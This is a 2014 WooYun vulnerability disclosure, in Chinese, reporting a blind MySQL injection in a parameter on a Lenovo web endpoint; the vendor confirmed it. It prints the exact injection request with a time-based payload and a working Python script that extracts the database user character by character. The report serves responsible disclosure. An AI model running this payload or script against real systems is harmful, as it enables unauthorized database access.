当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081958

漏洞标题:联想又一分站MySQL注射

相关厂商:联想

漏洞作者: lijiejie

提交时间:2014-11-04 17:00

修复时间:2014-12-19 17:02

公开时间:2014-12-19 17:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-04: 细节已通知厂商并且等待厂商处理中
2014-11-05: 厂商已经确认,细节仅向厂商公开
2014-11-15: 细节向核心白帽子及相关领域专家公开
2014-11-25: 细节向普通白帽子公开
2014-12-05: 细节向实习白帽子公开
2014-12-19: 细节向公众公开

简要描述:

联想现有的注射还是较多的,我只挑wooyun和360上都没出现过的。 那些已被提交却仍未修复完整的,可再排查一下看看。

详细说明:

注入点:

POST http://open.lenovo.com/data/eventDefineAction.do?method=getHideEvent
eventDefine=%7B%22appKey%22%3A%22IXZ28THWMVEM%22%2C%22eventAction%22%3A%22e%25%27%20AND%20sleep%2810%29%20AND%20%27000BYIu%27%21%3D%27000BYIu%25%22%2C%22eventName%22%3A%22%22%7D&getDataTotal=1&page=1&rows=10&sortOrderBy=&sortRule=desc


参数eventDefine可注入。boolean based,尝试报错的时候似乎没显错,没详尽测试,不过bool也已经非常快了。

漏洞证明:

lenovo_5.png


MySQL user is readonly@172.17.70.102


脚本附上:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print 'start to retrive MySQL user:'
user = ''
for i in range(1,30,1):
for payload in payloads:
conn = httplib.HTTPConnection('open.lenovo.com', timeout=30)
rand_num = str(random.random())
body = 'getDataTotal=1&page=1&rows=10&sortOrderBy=&sortRule=desc&eventDefine='
s = '{"appKey":"IXZ28THWMVEM","eventAction":"a\%\' AND ' + \
'ascii(mid(user()from(%s)for(1)))=%s' % (i, ord(payload)) + \
' AND \'aaa\'!=\'bbb\%","eventName":""}'
body += urllib.quote(s)
conn.request(method='POST',
url='/data/eventDefineAction.do?method=getHideEvent',
body = body,
headers = headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
if html_doc.find('{"total":0') < 0: # 返回了结果
user += payload
print '\n[in progress]', user
break
print '\nMySQL user is', user

修复方案:

过滤,排查其他类似的点

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-11-05 10:22

厂商回复:

感谢您对联想安全工作的支持,我们会尽快修复漏洞

最新状态:

暂无


漏洞评价:

评论